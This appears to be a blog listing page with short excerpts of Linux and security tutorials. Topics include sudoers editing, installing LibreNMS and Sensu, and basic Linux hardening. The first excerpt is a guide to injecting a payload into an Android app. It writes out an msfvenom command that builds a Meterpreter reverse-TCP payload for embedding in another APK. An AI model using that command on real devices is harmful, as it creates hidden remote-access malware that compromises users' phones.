Step by Step Guide on Manually Injecting Payload to Android App

In this article, unlike the previous one which focus on embedding the payload by our self. The tools to be used are apktool, msfvenom, keytool, jarsigner, zipalign. Create payload file The first part is creation of payload file and also downloading other app. sudo msfvenom -a dalvik –platform android -p android/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -o payload.apk …

How to Edit the Sudoers File

In this article, we shall focus majorly on adding users to the sudoers file and limiting their actions within sudo to prevent major security set back termed as sample of privilege escalation. sudo is the Super User Do used to execute that will otherwise require root/super user privileges. It located in the /etc/sudoers file and  …

Step by Step to Install LibreNMS (Network Monitoring System) on Ubuntu 20.04 LTS

LibreNMS is a free & open-source network monitoring tools. It is PHP based network monitoring system & using the SNMP protocol. It supports Web UI & customizable alerting system. There are some steps to install LibreNMS on ubuntu: Step 1: Update the system. apt-get update Step 2: Install apache2. apt-get install apache2 Start & Enable …

Step by Step to Install Sensu Monitoring Tool on Ubuntu 20.04 LTS

Sensu is a free & open-source monitoring tool.It is used for monitor servers, services, applications and send notification via e-mail. It helps to collects  system metrics such as CPU, memory, and disk usage. There are three kinds on Sensu components: Sensu-backend: Sensu-backend is used to perform monitoring operations. Sensuctl: It used to monitor resources. Agent: …

How to Securing Linux system

In this article we shall focus on simple ways to make Linux systems more secure, from attackers point of view. Disabling ports All the unused ports need to be disabled. Ports such as 80/http, 22/ssh, 21/ftp if they are not in use. In Kali Linux all ports are disabled by default on boot. To disable …